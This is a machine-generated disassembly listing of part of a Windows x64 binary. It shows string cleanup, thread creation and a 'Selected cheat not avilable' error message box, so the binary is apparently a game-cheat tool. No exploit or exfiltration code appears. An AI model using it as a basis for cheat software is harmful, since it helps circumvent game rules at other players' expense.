add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042f48
call fcn.140160684
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140042d7f
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042d7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042f9c
call fcn.140160684
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140043003
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ffd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042ffd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140045020
nop
mov ecx, 0x20
call fcn.140160330
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp - 0x78]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140050c90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140043068
cmp dword [rbp + 8], 0
je 0x14004305c
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004305c
mov ecx, 0x50
call fcn.140160330
mov rbx, rax
mov qword [rbp + 0x10], rax
mov dword [rax], reloc.WS2_32.dll_recvfrom
lea rcx, [rax + 8]
lea rdx, [rbp + 0x50]
call fcn.140045020
nop
lea rcx, [rbx + 0x28]
lea rdx, [rbp + 0xb0]
call fcn.140045020
nop
lea rax, [0x14003a350]
mov qword [rbx + 0x48], rax
mov qword [rbp + 0x10], rbx
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x140050dd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x14004304c
cmp dword [rbp + 0x28], 0
je 0x140043040
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140043040
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140042f54
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042f4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042f4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140042fa8
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140043003
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ffd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042ddc
call fcn.140160684
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140043099
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043094
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043094
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x28], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140160684
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
jmp 0x140042533
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140160684
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x14004312c
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043127
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140043189
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043184
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x190], 0
jmp 0x1400431c1
lea rdx, str.Selected_cheat_not_avilable.
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x1f0]
call fcn.14003cf80
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140043212
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004320d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004320d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140043270
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004326a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004326a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x1400432b5
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400432af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400432af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x1400432f9
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400432f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400432f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140043356
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043351
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400433b0
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400433ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400433ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x14004340a
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043405
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov rcx, qword [rbp + 0x670]
xor rcx, rsp
call fcn.14015ff50
lea r11, [rsp + 0x780]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400369e0
nop
mov edx, eax
lea rcx, str.directory_iterator::operator
call fcn.1400384b0
nop
call fcn.1400369e0
nop
call fcn.1400369e0
nop
lea r8, [rsp + 0x78]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.1400385a0
nop
call fcn.1400369e0
int3